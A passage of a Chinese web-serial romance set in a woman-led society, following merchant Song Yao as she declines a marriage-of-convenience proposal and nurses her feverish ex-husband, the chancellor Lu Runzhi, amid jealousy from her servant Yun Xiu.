宋瑶觉得今天的他有些奇怪,全程心不在焉的,如果以前与他商量生意上的事情,他都会无比认真的听着,每一个细节都会问清楚,今天却失了以前精明的模样。 宋瑶笑道:“不着急答复,我这里有些收集到的资料,你可以回去好好看看。” 她拿出一摞宣纸递给他。 看来她今天真是来和他谈生意的。 桑卿彦的目光落在她递过来的资料,心里微微发涩,还是收下了,轻声道:“我知道了。” 宋瑶觉得他状态不对,于是关切地问道:“卿彦,你怎么了?” 桑卿彦一怔,她很少唤他“卿彦”,要么是叫他“桑老板”,要么是调侃地叫他“桑爷”。 宋瑶:“是遇到什么困难了吗?可与我说说,我帮你出出主意。” 桑卿彦暗暗吸了一口气,平复微乱的心跳,才道:“的确遇到了一些困难,想请你帮忙。” 宋瑶洗耳恭听,“你说,我定当鼎力相助。” 桑卿彦强迫自己看着她的眼睛,压下眼底的情绪,尽量使自己的语气平稳,不露出丝毫破绽,“族人逼迫我成亲,虽说我认为男子的最终归宿不一定是成亲生子,奈何抵挡不住家族的压力,这次她们联合起来施压 ,势在必行,否则就要夺去我的权利。” 此话到是真的,只不过那些联合起来给他施压的废物,已经被他训的服服帖帖,不敢再乱叫。 桑卿彦凄凉一笑,接着道:“我也配合她们,相看了许多女子,只是那些人都嫌弃我抛头露面,要求我成亲后在家相妻教女,我怎么可能做到,这世道何其不公,对男子总是有诸多束缚。” 宋瑶听完,微微蹙了蹙眉头,“若是你不喜欢,找个门第低些的女子,签订婚前协议,做一对表面夫妻,这也不可以吗?” 桑卿彦放在桌上的手一颤,她果真是对自己一点意思都没有,这种话都说得出来,他摇了摇头,似乎有什么难言之隐,不肯多说。 这种事情,她能帮什么呢? 宋瑶便直接问道:“你想让我怎么帮你呢?” 桑卿彦等的就是她这句话,他尽量使自己看起来平静,没有任何波澜,以掩盖他平静表面下的动荡不安,忐忑的,龌蹉的心思,“我有一计,不知当讲不当讲。” 宋瑶:“只说便是,能帮的我一定帮。” 桑卿彦紧了紧拳头,平静道:“我们两个成亲。” 宋瑶顿了一下,目光一滞。 桑卿彦似乎是不敢看她的眼睛,不等她说话,便语气飞速道:“你既然没有合适的夫郎,我也没有找到合适的妻主,不如我们两个便成亲,成亲以后你既可以利用永昌号的便利,助你事业更上一层楼,又可以躲避家里的逼婚,婚后我不会干涉你的任何事情,你想做什么就做什么,你只需要不干涉我的事业即可。” 他急急地说完,似乎是怕宋瑶拒绝他一般。 说完后,空气一阵沉默。 桑卿彦沉默着低着头,紧紧地攥着袖子,浑身紧绷,他能够清晰地听到自己咚咚咚的心跳声,像是等待着,被审判的暗恋者。 宋瑶听他说完后,也很诧异,她没想到桑卿彦会提出这个建议。 诚然,他说的没错,如果与他成亲,做事确实方便许多,左不过她现在也没有成亲的想法,正巧他也没有,他们二人也算门当户对。 宋瑶的手指轻轻叩着桌面,似乎在计较其中的利害,这是她思考时的习惯动作,她看向桑卿彦,“你想好了吗?” 闻言,桑卿彦一怔,眼中遏制不住地迸射出惊喜,她这话的意思是有希望吗? “想好了。”他遏制住内心的激动,尽量地平静地说道,“这是最合适的解决办法,对你我都有利,若你与我联合,你所说的开拓丝绸之路便势不可挡。” 宋瑶的目光落在他脸上,问出了一个关键的问题,“即使你我成亲,也只是权宜之计,你当清楚,家里人的最终目的是子嗣。” 桑卿彦嘴角一僵,人生第一次结巴,“我、我……” 宋瑶眼中带着温和的笑意,轻轻叹息,“卿彦,你这次急躁了些。” 她拎起茶壶,为了他添了新茶,眼神平静无波,似乎他方才说的话未激起她心中的一丝涟漪,就像是听到今天天气很好一样。 “你我相识多年,彼此知根知底,正因如此,我不希望你如此草率。”她顿了一下,“你我成亲,倒也未尝不可,只是远远不如你想得如此简单,你族人想要的人是一个好掌控的入赘妻主,你我成亲,他们不会放心的,何况我居住在京城。” 桑卿彦猛地一抬头,眼中闪过一丝慌乱,“不会的,我会说服他们。” 宋瑶眸中浮现浅浅的疑惑,“既如此大费周章,为何不直接寻一个家世清白,品性良善的女子呢?” 茶水氤氲,冒着热气,桑卿彦的脸色忽地变白,他怎么不知,自己的借口漏洞百出,只是借着这般说辞,掩盖自己的心思,但是她没有一点动摇,依旧那么理智。 这样,算不算,她明确地拒绝了他。 桑卿彦内心酸涩,仅有的自尊让他再说不出挽留的话,她已经明确表明了,他木木地道:“我知道了,的确是我着急过头,思虑不周。” 宋瑶笑道:“可真是吓了我一跳,你莫要着急,我总觉得,你在等的那个人会出现的。” 桑卿彦很想脱口而出“我在等的那个人就是你”,但是他忍住了,不想再听到她说出令他伤心的话,他勉强扯了扯嘴角,装作轻松的模样,笑了笑,“那就借你吉言了。” 宋瑶瞥了一眼窗外的日头,道:“快到饭点了,桑老板远道而来,我做东,请你吃饭去。” 他暂时不知道如何面对她,更无法自在地与她谈笑风生,桑卿彦只能装作无事发生的模样,掩盖了眼底的神色,“改日吧,我还要在京城待几日,今日有事脱不开身。” 宋瑶挑了挑眉,“不是吧,你约我出来叙旧,都不肯赏个脸吃饭?” 桑卿彦难过极了,却还要若无其事地接她的话,他只想赶紧离开这里,怕再在她身边待下去,说出什么不该说的话,让他们之间连朋友都做不成了。 他起身,甚至失了往日的从容,只匆匆道:“改日,今日着实脱不开身,抱歉,你说的生意我会慎重考虑的。” 说罢,他转身离去,背影透着落荒而逃。 宋瑶望着桑卿彦的背影,良久,轻轻叹了一口气,随即她的目光落在桑卿彦留下的杯子上,眼中重新浮现浅浅的疑惑。 明明桑卿彦是再合适不过的人选。 宋瑶一个人坐在位置上,沉思良久,直到喝完了半壶茶,也没思索出来个所以然。 日落西山,她折路而返,步行回家,却在半路遇到了多日未见的人。 陆润之站在暮色中,似乎比之前更瘦了些,下巴尖了许多,只是脸色异常的红润,眼眶也是红红的,他并未做任何伪装,出色的外貌惹得人频频看去,不知是哪家的公子。 那日过后,他忽然像是消失了一样,宋瑶以为他再也不会出现在她面前了,那日可能是他能做的极限了。 他应当是在等她的。 宋瑶走过去,扫了他一眼,问他:“你怎么来了?” “你答应他了吗?”陆润之一开口,声线像是被砂纸磨过一样,格外沙哑。 宋瑶皱眉,“你监视我?” 陆润之拉着她的袖子,慌乱道:“我没有,只是今日本来就要去找你,在茶楼偶然听到的。” 他没有听完,也不敢上前质问,他没有任何立场,更害怕惹她生厌,后面害怕听到她的答案,所以便落荒而逃。 原来那道视线是他。 宋瑶点点头。 “你答应他了吗?”他固执地问,目光紧紧地锁定她,紧张地手心微微濡湿。 宋瑶的目光落在他的脸颊上,没有回答他的问题,反而抬起手,贴在他的额头上,微微蹙眉。 陆润之一怔,随即眼中闪过一抹惊喜,贴着她的手心,轻轻蹭了蹭。 第87章 宋瑶的手背,贴在他的额头上,立刻感受到他异于常人的温度,明显是发热了。 他像只小狗一样,垂着眼睛,轻轻地蹭了蹭她的手。 宋瑶的眼中并没有波起涟漪,瞧了眼他的动作,手微微顿了下,随即放下来,淡淡道:“你着了寒,有些发热,你不知道吗?” 陆润之当然知道,他自己的身体再清楚不过,正因如此,才回在这个时候来找她,但是他装作不知,眼中浮现一丝淡淡的疑惑,“我发热了吗?” 宋瑶的目光落在他身上,目光带着一丝审视,点了点头,“对,你发热了,你快回去吧。” 即使这样,她还是要赶他 走。 陆润之眼中滑过一丝苦涩,无论是哪次,他来找她,她都是平静无波的模样,仿佛他只是一个无关紧要的路人,哪怕他脱光了在她面前,她可能看都不会看一眼。 即使她心里没有了他,他还是很不甘心,很不甘心就这么放弃。 “我不想回去,我有话对你说。”陆润之看着她,固执的说:“你还没回答我的问题,你答应桑卿彦了吗?” 宋瑶挑了挑眉,“答应了又如何?” 陆润之身形一晃,修长的手指缓缓收紧,嘴唇轻动,惨然一笑,“你果然还是答应了他。” 他的身形依旧像竹子一样清瘦挺拔,却在一瞬间,像是被压弯了腰,脊梁骨都弯了下去。 宋瑶将他细微的表情尽收眼底,不仅在审视他,也在审视自己,半响她轻轻叹息一声,“我送你回去吧。” 说着伸手去拉他,陆润之却躲开了。 宋瑶的手僵在空中。 陆润之的眼神已经有些迷蒙,眼眶红红的,眼眸上似乎蒙上了一层薄薄的水光,不知是热的还是怎么着,他固执地看着她的眼睛,说出的话却不如他看起来那般平静,声线微微颤抖,“你不想听听我要跟你说什么吗?” 宋瑶:“比起这个,你的身体似乎更重要。” 陆润之自嘲地笑了笑,“我的身体,不重要了。” 宋瑶似乎觉得他意有所指,却不知他到底想说什么,左不过几句话的事情,也改变不了什么,便道:“你说,我洗耳恭听。” 陆润之张了张嘴唇,却忽然眼前变成了密密麻麻的黑白雪花,她的身影在眼前逐渐模糊,身子忍不住一晃晃,朝宋瑶倒了过去。 宋瑶见他的脸色忽然变白,眼神也逐渐迷离,不禁皱起眉头,“你——” 话未说出口,他的身体就像风垂落的树叶向她这边倒去,宋瑶下意识接住他,让人靠在她身上,她这才发现,这人似乎是比以前还要瘦一些,也不知是怎么照顾自己的。 “润之,润之。” 她叫了两声,轻轻晃了晃他的身体,没有任何反应。 宋瑶看了四周,最终将人打横抱起,毫不费力,朝府中走去。 陆润之在她怀中,闭着眼睛,鼻尖萦绕着一股淡淡的清香,混合着一丝若有若无的梅花气息,让他忍不住想要靠得更近,脸颊往她怀里蹭了蹭,似乎这样能让他更有安全感。 宋瑶低头看去,“醒了?” 怀里的人没有任何反应。 府中的下人看到她抱着前少主夫回来,不由得大吃一惊,毕竟这位目前身份尊贵,不知怎么又被少家主抱回来,遇到的下人们虽吃惊,但眼观鼻鼻观心,只当做没看到。 宋瑶将人抱回了自己的院子中,放在了床上,吩咐下人,“去请大夫过来。” 下人:“是。” 云岫在房中伺候,见宋瑶抱着一位公子匆匆进来,忙上前问道:“少家主,这位是?” 他看了一眼床上的人,不由得暗自惊讶,这人长得果真似神仙一样。 “去打盆温水来。”宋瑶没有与他解释,反而吩咐道。 恐是这位的身份不好说,哪怕云岫心里略微吃味,也清楚知道自己没有立场,只低眉顺眼地应了。 云岫打了盆温水,正要沾湿毛巾,却被宋瑶接过毛巾,她道:“我来吧。” 云岫眼眸闪了闪,眼中闪过一丝失落,这位公子在少家主心里果然不一般,从未见过少家主这般。 宋瑶打湿了毛巾,贴在了陆润之额头上,用来降温。 云岫默默地退到了门外。 躺在床上的人眼眸紧闭,秀眉紧蹙,似乎睡得很不安稳,双手放在胸前,紧紧攥着衣衫,嘴里不停地在呢喃什么。 宋瑶趁着给他换毛巾的间隙,凑近听了听。 “宋瑶……妻主……” 宋瑶的垂下眼眸,目光落在他绯红的脸上,眸光闪了闪,给他换完毛巾后,便坐在床边。 真是何必呢。 明明如今,他们两人的身份已经天差地别,互不干涉才是最好的结局,对彼此都好。 宋瑶一直都是这么认为的。 直到今天桑卿彦提出的建议,于情于理,都是一个可以解决她跟桑卿彦两人困境的好办法,无论是家世、人品,桑老板都是一个很好的夫郎人选。 宋瑶从来不觉得生活没有了感情就无法进行下去,感情之于她,可有可无,可以培养,与桑老板成亲,日后也是可以培养感情,两人也未尝不可做一对真正的夫妻。 只是她思索片刻,只发觉内心终究是不愿意的,只觉得对桑老板不公平。 宋瑶也从未觉得自己放不下陆润之,她也很清楚以前喜爱他的容貌,就像是一种生理性喜欢,忍不住靠近。 难道是从未吃到嘴里,所以念念不忘。 宋瑶盯着陆润之的脸庞,再次陷入了沉思。 这样一看,还是好看的。 果然,她还是一条颜狗。 可是,这吃到嘴里,似乎有点麻烦。 宋瑶琢磨着。 云岫带着老大夫进来的时候,就看到宋瑶坐在床边,盯着床上的公子沉思,那眼神是他从未见过的。 他出声打断了宋瑶的沉思,“少家主,大夫来了。” 宋瑶起身,“大夫,劳烦您帮忙看看,开副药。” “少家主哪里的话,这是我的本分。”老大夫上前,瞅了一眼床上的人,手指搭在了陆润之的脉搏上,掀了掀眼皮子,半响,才收回了手。 宋瑶瞧着大夫的脸色不是很好,便问道:“大夫,他怎么样了?” 老大夫清楚陆润之的身份,以及这二人之间的纠葛,叹了口气,道:“感染了风寒,无甚大碍,老夫开副药,给他服下,三日就好了,只是……” 老大夫皱起了眉头。 宋瑶:“大夫有话不妨直说。” 老大夫看了眼云岫,涉及到这位的身份,越少人知道越少。 宋瑶立刻会意,“云岫,你先出去。” 云岫告退。 宋瑶:“大夫,您说。” 老大夫将宋瑶带离了床边,低声道:“陆大人伤了根本,日后恐难有孕。” 宋瑶皱起眉头,“是为何?” 老大夫:“多方因素,陆大人先天体弱,体质虚寒,近些年忧思过度,恐服用过什么伤身体的药物,到底是伤了男子根本,导致气虚两虚,身体羸弱,难以受孕。” 宋瑶听完,面上看不出什么情绪,只点了点头,“我知道了。” 老大夫又宽慰道:“若是日后仔细将养几年,能怀得上也说不定。” 老大夫这般说,便是希望渺茫的意思。 宋瑶:“多谢大夫,劳烦大夫开药吧,先退热要紧。” 老大夫先开了治疗风寒的药,接着宋瑶又要了调养身体的药物。 云岫熬完药,端了过来。 宋瑶轻轻拍了拍陆润之,将人叫醒,“润之,起来把药喝了。” 陆润之蹙了蹙眉,最终缓缓睁开了眼睛,就看到了宋瑶,他看向四周,目光落在了云岫身上,顿住。 宋瑶接过云岫手中的药碗,递到他面前,“起来把药喝了。” 陆润之收回视线,挣扎着坐起来,云岫去扶了一下他,给他身后垫了枕头。 陆润之接过药碗,手却轻轻颤抖,碗里黑乎乎的药随着他的手不停地晃动,他的手似乎失了力气。 眼瞧着他的手一抖,药快要洒了出来,宋瑶果断地接过了药碗,拿起勺子,舀了一勺药,递到他嘴边,开始喂他喝药。 云岫眼神一滞,嘴唇紧抿。 陆润之推开宋瑶的勺子,轻声道:“不用勺子。” 宋瑶会意,坐到了他身边,扶着他的肩膀,让他靠在自己身上,另一手端着药碗递到了他嘴边。 陆润之搭着她的手腕,就着药碗,大口大口地喝完。 宋药将空的药碗放在桌上。 趁着宋瑶转身的间隙,云岫看了一眼那公子,那公子哪里还有方才虚弱的模样,他冰冷的眼中此刻滑过一丝显而易见的得意,同是男子,云岫当然知道他是故意让他看到的。 云岫咬了咬嘴唇,端着空空 如也的药碗,出去了。 宋瑶又拿起手帕,递给陆润之。 陆润之没接,反而朝她靠了靠。 宋瑶便拿起手帕,轻柔地拭去他嘴角沾的药渍。 陆润之并没有因为她眼下的纵容而觉得惊喜,只不过是在云岫面前装装样子,他清楚地知道,宋瑶越温柔,下一刻就是要拒绝他。 这种场景已经发生了很多次了。 第88章 陆润之已经想好了,如果她再赶自己走,他就装晕倒。 他有些任性地想,反正他在她面前,早已经没有任何男儿家的羞耻心可言了,只想多跟她多待一会儿。 如果她非要跟桑卿彦成亲,那就成亲吧,桑卿彦虽然年纪大了些,但是家世也是与她相当的,而且最重要的是,桑卿彦可以为她生孩子。 陆润之乱七八糟地胡想,脑袋已经烧得有些糊涂,思绪乱飞。 宋瑶瞧着他有些茫然的表情,也不知道他想到哪里去了,只是那双潋滟的眼眸中总是弥漫着一层淡淡的伤心,连带着精致的眉眼都有些破碎。 宋瑶出言问道:“在想什么呢?” 陆润之摇了摇头,“没什么?” 宋瑶又问道:“可还有哪里不适?” 陆润之下意识地想说没有,对上她关怀的目光,话锋一转,有些委屈道:“头痛,喉部痛,浑身没力气,很难受。” 以前再难受他总是会说没关系,这会儿一个感冒倒是浑身难受了。 宋瑶心中觉得好笑,却还是道:“你刚吃了药,睡一觉就好了。” 陆润之一怔。 她今日格外地有耐心,不似往日熟稔中透着若有若无的疏离,温柔中带着强硬的拒绝,今日的她仿佛卸下了那层隔阂,不再拒他于千里之外,让他想靠近一点,再靠近一点…… 陆润之意识到这一点,眼眸轻轻眨了眨,他垂着眼睛,试探性地伸出手,手指小心翼翼地摸索过去,抓住了宋瑶的袖子,攥紧。 宋瑶低眸看去,倒是没有拒绝他的动作。 陆润之眼中滑过一丝光亮,像是忽然注入一丝生机,内心的雀跃让他的指尖微微发颤,手指捻了捻,便大着胆子,顺着她的衣袖慢慢往上,试探性地小心翼翼的握住了她的手。 宋瑶只瞥了一眼,没有抽出手。 陆润之紧紧抓住她的手,手指微微颤抖,嘴角不有自觉地勾起,眼角眉梢像是注入了生机,整个人都鲜活了起来,他看着宋瑶,眼睛亮晶晶的,比满天繁星还要璀璨,喜悦被压在心底,却从眼角眉梢流露出来。 宋瑶被他这么注视着,目光顿了一下,眼中闪过一丝无奈,有这么开心吗? “我有话对你说。”陆润之开口,声音微哑。 宋瑶“嗯”了一声。 陆润之理了理被喜悦冲昏头脑的思绪,缓缓道:“丝绸之路将在年底正式启动,以京城为起点,途径敦煌、阳关、楼兰、波斯等地,最终到达西方罗马帝国,主要以丝绸、瓷器、茶叶、铁器为主,目前沿途修缮驿站,朝廷耗资巨大,恐丝绸之路正式启动时,对进出往来的商人会收取高额关税,此外,皇上有意设朝贡使,由商人担任,作为我朝的官方贸易使者。” 能从他口中说出来的消息,必然是一手确切的消息,十分难能可贵。 听他讲完,宋瑶面露一丝古怪,“你今天来就是为了跟我说这个?” 她忽然这么问,到叫陆润之有些迷茫了,不说这事说什么,说其它的,又会惹得她不爱听。 第89章 宋瑶看着他有些茫然的眼睛,有些哭笑不得,之前她态度强硬,他使出各种招数勾引她,如今她态度松懈,他倒是退缩了。 这会儿不应该趁热打铁的吗? 宋瑶捻了捻手指,这会儿倒是想明白了,她没必要与自己为难,遵守本心即可,既一直惦记着人家的身子,也对其他男子没有感觉,便费些心思罢了,事情虽难办了些,倒也不是没有办法。 活了第二世,便是想做什么就做什么,不必拘着自己。 宋瑶没有挣开他的手,想通以后,便觉得心里轻松不少,仿佛一块石头落地,便又起了欺负他的心思,故意道:“你堂而皇之地来找我,这会儿又与我说这些,不怕吗?” 陆润之道:“我有什么好怕的。” 他已经第二次向皇帝递了辞官的折子,皇帝不允,若是再干涉他的事情,他便直接不做什么官了,他的任务已经完成,也不稀罕了,他现在只稀罕她。 宋瑶玩笑道:“可是我害怕。” 听她如是道,陆润之心中一慌,看到她似笑非笑地表情时,又觉得她好像在开玩笑,一时摸不准她的心思,便道:“你不必害怕,有我护着你。” 他无比郑重道。 宋瑶挑了挑眉,玩笑道:“不知陆大人打算用什么护着我?” 陆润之坚定地看着她的眼睛,缓缓道:“我会用我的生命。” 他像是郑重地发誓一样。 宋瑶噗嗤笑了,眼睛弯起来。 陆润之愣愣的,许久没有看到她这样笑了,一时间有些恍然,便知道她在与他玩笑,只是他是认真的,“我是认真的。”他又强调了一次。 宋瑶自是信他的,她顿了一下,才道:“小陆大人的命,我可要不起。” 陆润之握着她的手,还想问她关于桑卿彦的事情,却又不敢再问,怕得到自己不喜欢的答案,今天她的态度已经令他很欣喜了,他不敢奢求太多。 渐渐地,药性上来了,陆润之开始昏昏欲睡,却因着这难得的共处时间强撑着眼睛,想与她说说话,“方才进来的男子是你纳的侍君吗?” 宋瑶:“不是,只是在房中伺候的罢了。” 陆润之微微松了口气,因她没有讲自己推开而高兴,如果她是因为生病而怜惜他,那他希望这场病不要好,他捏了捏宋瑶的手,悄悄地,想打开她的手,与她十指相扣,她却始终不肯张开手,令他有些挫败。 忽地,他想起来一件事,便抬起眼问她,“我走那年,给你留了张纸,上面写了字,你看到了吗?” 宋瑶顿了下,眼中浮现疑惑,“什么字?” 陆润之眼中滑过一抹失望,“没什么。” 宋瑶笑道:“那你现在说说,你写了什么?” 现在叫他说,他却说不出来了。陆润之摇了摇头,“没写什么,你既没看到,便算了。” 既庆幸她没看到,又有些失望。 宋瑶瞧着他明明困得上下眼皮直打架,却还要撑着与她说话,便有些好笑,于是便抽出手,扶着他躺下,“你快睡吧,睡一觉就好了。” 陆润之忙拉着她的袖子,“你去哪里?” 宋瑶:“有点事去办,你且安心睡下。” 陆润之分在固执,很没有安全感,“我醒来去哪里找你?” 他很害怕,一觉醒来,在京城又找不到她了。 宋瑶:“隔壁书房。” 陆润之这才安心地松开了她的袖子,沉沉地睡了去- 宋瑶抱着陆润之回府的消息已经传遍了上下,李容听闻后,便匆匆赶来,查探到底是什么情况。 他才刚走到门口,就迎面碰上宋瑶。 李容朝门内看了一眼,却被宋瑶的身影挡住,他问道:“润之如何了?” 宋瑶合上了门,“没什么大碍,只是着了风寒。” 李容拉着宋瑶的胳膊,往旁边带了带,压低声音,“你与爹爹说清楚,你们俩,到底怎么个回事?” 宋瑶顿了下,打了个马虎眼,不愿多说,“没怎么回事,就那回事儿。” 李容掐了她一把,知道她这是敷衍他呢,肯定是心里有了主意,不愿意跟他多说,“那爹就问你一句话,我的孙女未来可有着落了?” “有点难。”宋瑶给出了这么一个模棱两可的答案 ,说着便往书房走。 李容:所以这到底是有戏还是没戏? 宋瑶走后,李容探头往房间内看了一眼,本想进去,后又作罢,还是决定不去打扰了,总之宋瑶也不像是会胡来的人,他也不担心,只是着急孙女什么时候才有着落。 宋瑶倒也没什么忙的,只是根据陆润之给的消息,再打磨打磨她的方案。 依他所说,丝绸之路途径之地,必定是一个极大的市场,丝绸价高,定是能获得很高的利润,只是到时候关税重,考虑到成本和层层关税,也赚不了多。归根结底,开设丝绸之路,皇帝为了也是国库,从往来贸易的商人身上收税,以充盈国库,除此以外,大有开放国门,展示我朝繁荣,以服周边小国。 宋瑶打开地图,若是走水路,可以减少关税,而且这时,海上路线尚未开通,若是能开辟海上的道路,关税的问题就迎刃而解了,海外市场对他们而言,便是广阔天地,大有可为。 此事不急,徐徐图之。 这边,在药性的作用下,陆润之昏昏沉沉地睡过去,但是睡得很不安稳,似乎是做了一个噩梦,梦中他拼命地狂奔,追逐着前面的身影,累得浑身是汗,最终惊醒,愣愣地看着天花板,喘着粗气,习惯性平复心情。 这么些年,他已经习惯从噩梦中惊醒。 环顾四周,这才想起自己在哪里,一觉醒来,身体已经好多了,只是没什么力气。 陆润之记得宋瑶跟他说过,醒来去书房找她,也不知她此时在不在。 房间里点着灯,想必是有人来过,陆润之觉得有些口渴,便下了床,走到桌前,给自己倒了杯水,寻思着去找宋瑶,多少告诉她一声自己醒了。 “叩叩——” 敲门的声音响起。 陆润之心中一喜,忙放下茶杯,拉开门,却见到云岫在门外,神色顿时僵住。 云岫俯了俯身,“公子,你醒了。” 陆润之扫了他一眼,神色恢复如常,瞧他深夜前来,什么也没带,只招呼一声,便没了下文,恐怕不是什么好事,他淡淡道:“何事?” 云岫面上挂了一丝笑,“无事,只是前来看看公子醒没醒,少家主正忙,有什么事,公子唤我即可。” 他这幅做派,倒像是这府中的男主人。 第90章 陆润之敛了神色,脸上的表情淡淡的,他先是上下扫了一眼云岫,半响,也没有回应他的话。 今日云岫是特意打扮过的,妆容精致,身上的衣衫做工极好,看起来并不像下人穿的,宋瑶心情好时,会赏赐他们许多贵重的物品,跟着宋瑶,他们从不缺银子,可以给自己置办许多好看漂亮的首饰衣物,只是顾着下人的身份,有所收敛。 只是今日,宋瑶忽然抱了一个男子回来,态度是云岫从未见过的,男子的直觉告诉他,这男子在宋瑶心里一定占了一定的位置。 这么多年,陪在宋瑶身边的都是云岫,云岫一直清楚,宋瑶看似温柔多情,实际上根本没放心思在他们身上,只是脾气较好,容他们在身边伺候罢了,她对每一个男子都这样,能让他们在身边伺候,就算是对他们格外不同了。 现在这个男子,却让云岫感觉到了危机,他太好看了,于是云岫盛装打扮,故意出现在这男子面前,带着一点隐晦的阴暗的,宣誓主权的意味,似乎这样,才能证明他的不同。 在他说完那番话后,那男子并未有任何反应,只是上下扫了他一眼,那眼神,淡淡的,却让云岫觉得自己低了人一等。 云岫给自己打了打气,没关系,这么多年陪在少家主身边的是他,他年轻漂亮,眼前这个男子一看就年纪比他大,女人都喜欢年轻的,少家主只是图一时新鲜,而且他看起来也不是什么良家男子,这么随随便便就跟着女子回家了,不守男德。 “你叫云岫?”半响,陆润之才淡淡地问。 云岫抬起脸,对上他的视线,落落大方,“是,不知这位公子怎么称呼?” 他把自己放到了和陆润之对等的位置上,看似恭敬,实际上并不觉得陆润之是客人,只是又是一个勾引少家主的男子罢了。 云岫眼中的敌意,即使很好的掩饰了,陆润之还是能察觉出来,他自然知道云岫就是这么多年一直陪在宋瑶身边的男子,心里的妒意疯狂地滋长,但是他又没有什么资格去嫉妒,只能装作若无其事的样子,他要大度。 陆润之道:“我姓陆。” 云岫刚到京城,且一直专心伺候宋瑶,两耳不闻窗外事,对宋瑶和陆润之的事情并不知情,他礼貌地笑道:“那我便称呼您陆公子吧。” 陆润之不置可否,点了点头,问道:“宋瑶呢?” 云岫眼中滑过一丝笑意,笑道:“少家主习惯吃完晚饭时,在后花园散散步,然后去书房看会儿帐,估摸着这个时间在书房呢,还要一个时辰左右才结束,少家主在书房时,不喜欢别人打扰。” 他的语气熟稔,似是对宋瑶的作息喜好极为了解,无时无刻不在提醒陆润之,他在宋瑶身边待了多久。 陆润之倏地握紧手指,面上却依旧云淡风轻,他眼中浮现一丝笑意,语气带着一丝怀念,“他还是跟以前一样,喜欢饭后散步。” 云岫一愣,随即皱起眉头,什么以前?就算是以前,那也是过去了,云岫随即笑了笑,“是啊,而且还非得让人陪着,我便是陪少家主散完步,顺便来看看公子醒没醒。” 陆润之闻言,眸色一沉,他忽然轻笑一声,抬手将垂落的发丝别在耳后,露出颈侧的淡淡的痕迹,是那日在马场时留下的,本该早就消散了,只是他舍不得这个痕迹消失,做了些处理,“这些年倒是辛苦你了,她总是觉得无聊,出去玩时总是得有人陪着,无论是春日踏青,还是冬日赏雪,尤其喜欢在下雪的时候煮茶听琴。” 云岫脸色一变,笑容僵在嘴角,他说得一点没错,忽地灵光一闪,心中隐隐一个大胆的猜想,他莫不就是前少主君,少家主那个传说中的夫郎。 思及此,云岫脸色一白,紧接着,心里又生出一丝愤懑来,当初就是这个男子抛弃了那么好的少家主,现在又来打扰少家主做什么,他冷笑一声,反唇相讥,“看了陆公子与少家主是旧识,怎么这几年来,我从未听少家主提起过您?” 陆润之脚下一动,身形一晃,抬起眼,落在云岫的脸上,嘴唇动了动,想说什么,最终却是什么都没说。 云岫见陆润之身形微晃,知他的话是踩在了他的痛点山,眼中闪过一丝快意,接着讥讽道:“云岫跟着少家主这么多年,自是清楚她的脾性,她这个人做出的决定从来没有后悔过,也不喜欢回头路,所以奉劝陆公子一句,不要再来打扰少家主了,生出不该有的心思。” “咳咳咳——” 话落,陆润之忽然剧烈地咳嗽,弓着腰,扶着门,掩着唇,仿佛要把肺咳出来,原本苍白的脸色因为咳嗽,变得红润起来,他紧皱着眉头,似是十分难受。 云岫犹豫,伸手,“你怎么——” 只是还未触碰到他,身后忽然窜出一道人影,正是宋瑶。 云岫一愣,随即心里一慌,也不知道他方才的话,少家主听到了多少,一时站在原地有些无措,少家主会不会觉得他过分? 宋瑶上前,拍了拍陆润之的背部,扶着他的胳膊,皱眉,“怎么忽然咳得这么厉害?” 陆润之一手紧紧抓着她的胳膊,好不容易止住了咳嗽,微微喘息,摇了摇头,似乎浑身没有力气,借着宋瑶的胳膊,有气无力的。 宋瑶扶着他进去,“我们先进屋。” 陆润之点点头。 转身的瞬间,云岫愣在原地,看到了陆润之淡淡地 抬起眼,朝他望了一眼,眼里哪里还有方才的脆弱。 云岫睁大了眼睛,他是故意的! 肯定方才就看到了少家主过来,还没有提醒他,现在还装作柔弱的模样。 好有心机! 云岫气死了,这么大年纪了,还好意思! 宋瑶扶着陆润之坐下,给他倒了一杯茶,却发现是冷的,便对云岫道:“去换热茶来。” 云岫气,吐口而出,“少家主,他在骗人!” 陆润之坐在凳子上,手撑着头,敛了眸,未言语。 宋瑶淡淡的目光落在云岫身上,“我说,去换热茶来。”语气不容置喙。 云岫愣住了,少家主从未对自己这般冷颜色,都是因为这个男子!云岫咬了咬唇,端着茶壶,不甘心地出去。 宋瑶瞧着有气无力的陆润之,给他顺了顺背,这才发现他清瘦得,隔着薄薄的衣衫,都能感受到他背上的蝶骨,她的手一顿,目光落在他的侧脸上,问道:“现在好些了吗?” 陆润之点了点头,眼睫动了动,也不知在想什么。 宋瑶微微蹙眉,“你好歹是堂堂丞相,怎么会被一个小侍欺负?” 她自是听到了云岫说得那番话,且不说那番话合不合适,云岫是越界了。 陆润之摇了摇头,咳嗽后的声音有些沙哑,“我没事。” 他放下撑着额头的上,拉住了宋瑶的袖子,靠在了她的胳膊上,轻轻道:“借我靠一下。” 不多时,云岫已经端着热茶回来了,一进门就看到陆润之靠在少家主胳膊上的场景,眼中滑过一丝不甘。 “少家主,已经换成了热茶。”云岫恭敬道,倒了两杯茶,目光落在了陆润之身上,关怀道:“陆公子这是怎么了,需要叫大夫来看看吗?” 宋瑶伸手,贴在陆润之的额头上,倒是退烧了。 云岫瞧见宋瑶的动作,脸色白了白,身影僵在原地。 陆润之拉下她的手,笑了笑,“说了没事了,只是有点饿。” 宋瑶看向云岫,眼神有些冷,她去书房前是吩咐过了,备上饭菜。 云岫心中一慌,立刻跪下,“少家主,已经按照您的吩咐备上了饭菜,只是陆公子刚刚醒来,还未来得及传。” 宋瑶没说话。 云岫心里直打鼓,已经顾不得在陆润之面前的面子了,只求少家主不要生气。 陆润之轻轻咳了两声,轻轻道:“云岫公子说得没错,我也是刚刚醒来。” 他低垂着眸,靠在宋瑶胳膊上,淡淡地看着跪在地上的云岫,说着善解人意的话。 云岫自然察觉到他落在自己身上的目光,肯定是得意的吧,他咬了咬唇,不甘心地握起拳头,这个心机的男人,一切都是他自己挖的坑,现在还装作一副善解人意的模样,是他大意,轻敌了。 宋瑶的目光落在云岫身上,本来觉得他挺机灵的,没想到会犯这种愚蠢的错误,收回目光,轻叹一声,对云岫道:“你下去吧,去把饭菜热了,端上来。” 云岫如蒙大赦,松了一口气,“是。” 90-94 第91章 云岫退出去后,房间内只剩下两人。 陆润之自然知道,宋瑶只是顾及他的身份,才对云岫疾言厉色,看似责备云岫,实际上是护着他,只是他来到府中,从来不是以丞相的身份自居,又有何资格去责骂她手底下的人呢。 她这般做法,实际上是做给他看,等着他表态呢。 宋瑶的确是这般想的,但确实也见不得人在她身边生病醒来,连口饭都吃不上,还要遭受下人的奚落。 